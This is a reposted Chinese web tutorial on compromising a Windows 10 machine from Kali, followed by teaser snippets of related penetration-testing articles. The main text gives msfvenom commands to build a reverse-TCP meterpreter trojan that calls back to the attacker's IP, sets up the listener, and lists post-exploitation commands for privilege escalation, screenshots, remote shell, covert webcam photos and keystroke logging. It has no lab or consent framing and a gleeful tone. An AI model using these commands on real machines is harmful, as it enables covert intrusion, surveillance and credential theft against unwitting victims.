Kali msf滲透windows10

2021-01-19 騰訊網

kali滲透windows

先查看自己的IP位址ifconfig

然後生成木馬sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.23.130 lport=8888 -f exe -a x86 >叼毛.exe

然後把木馬放到目標機上

然後啟動msfconsole

設置： 加載模塊use exploit/multi/handler

設置監聽IP：set lhost 192.168.23.130

設置埠：set lport 8888（隨便）

啟動監聽exploit

然後到目標機運行木馬

監聽成功之後，要獲取權限

getsystem——獲取管理員權限

ls——獲取桌面程序

screenshot——獲取屏幕截圖

shell——控制權限

ls——拿權之後可以隨意刪除與修改內容，沒拿全只能獲取內容echo

"我是控制你電腦的人">ss.txt——創建文件輸出內容 創建文件txtps——正在運行的軟體列表

webcam_snap——拍攝照片，強大吧。哈哈哈，還可以視頻聊天

keyscan_start——捕獲輸入記錄

keyscan_dump——存儲輸入記錄

keyscan_stop——停止鍵盤操作

相關焦點

  • 網絡安全與Kali Linux:Kali滲透測試與FTP密碼安全實戰技巧
    二、資源準備安裝好kali linux的虛擬機一臺安裝好FTP伺服器，並配置好FTP相關服務的主機一臺整裝待發的小白一個三、實際操作虛擬機下安裝好的kali系統，在msf5命令行模式下使用FTP登錄模塊（search ftp_login），找到auxiliary/scanner/ftp/ftp_login，將其複製，在命令行下輸入use auxiliary/scanner/ftp/ftp_login使用該模塊。
  • 網絡安全與Kali Linux:利用MSF對Win7進行永恆之藍攻防演練實戰
    攻擊步驟： 一、確定攻擊目標 1.1 使用kali打開nmap掃描目標主機。 使用nmap執行命令nmap -sS -A 192.168.17.149 -sS（使用SYN掃描）,-A(啟用作業系統檢測和版本檢測)。
  • 網絡安全工程師教你:如何使用Kali Linux進行Metasploit滲透攻防
    3.2 成功利用圖形化界面啟動metasploit（msf）滲透框架，如下圖所示可得metasploit滲透框架的版本信息。3.3 利用密令行模式啟動metasploit（msf）滲透框架，如下圖所示。
  • ATT&CK紅隊評估二套靶場滲透記錄
    本次針對第二套靶場進行搭建、環境配置，以及根據滲透測試流程進行滲透，從web應用程式到內網拿下主機，將整個滲透過程記錄下來分享給大家。一/環境搭建1.1 網絡拓撲圖構建1.2 IP配置攻擊機：kali LinuxNAT模式192.168.85.139（外）**************************************（開機默認密碼：1qaz@WSX）WEB伺服器：Windows server 2008 NAT
  • 白帽子黑客教你:Kali Linux滲透測試與Metasploit攻防基礎
    Metasploit(msf)究竟要如何進行學習呢？讓我們馬上開始我們的學習之旅二、資源裝備安裝好Kali Linux的虛擬機一臺；整裝待發的小白一個。3.6 metasloit（msf）connect命令的簡單使用，如下圖所示。
  • 網絡安全與Kali Linux滲透:內網與區域網攻防實戰技巧
    在kali機終端中輸入cat /proc/sys/net/ipv4/ip_forward，查看ip_forward的值，cat命令是二、竊取受害機相關帳號密碼首先依舊是對目標計算機進行ARP欺騙，當受害者計算機在某網站輸入帳號密碼時，我們kali計算機中就能夠獲取到對應的信息，這裡已依舊是利用ARP欺騙的原理，在ARP欺騙概述那一節中已經講得十分清楚，不明白的小夥伴可以回過頭去看看，再繼續學習，這裡假設已經知道了受害機的ip地址，直接在kali終端中輸入
  • 記一次完整的內網靶場滲透
    編者註：作者近期在學習內網滲透，本文圍繞學習期間靶場搭建及滲透的整個過程進行了一場詳細的分享。該靶場分為VM1（Windows 7）、VM2（Windows server 2003）、和VM3（Windows server 2008）三個系統，簡單的網絡拓撲圖如圖1所示：圖1 靶場網絡拓撲圖其中kali
  • Kali Linux 2019.3 發布,OnePlus 7 成為 NetHunter 推薦設備
    Kali 前身 BackTrack，它是一個基於 Debian 的 Linux 發行版，主要用於信息安全行業，其包含了一系列安全、滲透測試和取證工具。例如，如果希望能夠訪問每個無線工具，只需安裝 kali-tools-wireless 元數據包即可，這樣只需要下載一次就可以獲得所有無線工具：root@kali:~# apt updateHit:1 http://http.kali.org/kali kali-rolling InReleaseReading package lists...
  • 網絡安全工程師教你:如何使用Kali Linux進行滲透測試與攻防實戰
    三、戰略安排3.1 查看kali虛擬機sessions狀況，如下圖所示。登錄界面選擇是3.11 滲透成功，如下圖所示。你也可搜索:Kali與編程，學習更多Kali Linux滲透與白帽編程技巧哦！
  • 網絡安全工程師教你:Kali Linux滲透與FTP伺服器攻防實戰
    命令：back3.3 檢索Metasploit（msf）框架對於ftp_login的漏洞模塊，如下圖所示。你也可搜索:Kali與編程，學習更多Kali Linux滲透與白帽編程技巧呢！
  • 近源滲透實操之一夜回到解放前
    萬惡起源前段時間看了一篇手機安裝kali linux nethunter的文章 ，於是突發奇想把自己的手機改裝成kali nethunter，然後...誒？？有點不對勁，那我還能打電話聊微信撩公司隔壁桌的小芳嗎？
  • 內網滲透|ATT&CK紅隊評估實戰靶場-2
    那麼此時就已經本次滲透測試結束了，有了域控帳號密碼還有其ip，當然這就是靶場的特殊性所在，練習為主。實戰很難有這麼順利。這裡就引出我們第一種方法，可以進行CS的psexec模塊進行登錄。查看當前已經添加的路由msf自帶socket模塊，但因為是S4的不穩定，這裡我們通過蟻劍或者meterpreter上傳ew進行socket5代理，在win7上執行下面語句socket代理：192.168.0.102 9999
  • Kali Linux 2020.3 正式發布
    現在 Kali Linux 提供了 kali-hidpi-mode，支持自動切換至 HiDPI。全新的工具圖標默認使用的工具列表 (kali-linux-default)，菜單中的每個工具都有自己的專屬圖標，官方表示未來會繼續擴大支持 (kali-linux-large
  • kali linux在它面前頓然失色
    一些人傾向於選擇kali linux，利用它集成的眾多安全軟體，但對於有一定實戰戰經驗的人來說，一定有個性化定製需要，此時，kali　linux必然無法滿足這種需要，選擇black archlinux會方便很多。
  • 白帽子黑客與網絡安全工程師:使用Kali遠程登錄FTP伺服器基礎篇
    3.8 利用Metasploit（msf）滲透框架對Windows server 2008 FTP服務進行攻擊，如下圖所示。你也可搜索:Kali與編程，學習更多Kali Linux滲透與白帽編程技巧呢！
  • 新買的筆記本,是裝windows7還是windows10?
    筆記本電腦建議選擇windows10，這裡有這幾方面原因希望供你參考哦，而且這兩點非常的重要，雖然說用哪個系統肯定是根據自己的個人習慣來決定，很多人習慣了windows7，不習慣升級到windows10，但是我還是建議windows10，以下是我給你總結的兩點，可以作為參考哦！
  • windows10系統屏幕解析度調整方法介紹
    現在電腦屏幕的解析度越來越高，但是有的用戶在使用電腦的時候喜歡大圖標，有的喜歡小圖標，這就和屏幕的分辯率有些關聯了，那麼在windows10系統中怎麼調節顯示屏幕的分辯率呢？今天我就給大家介紹下在windows10系統中怎麼進行屏幕解析度調節。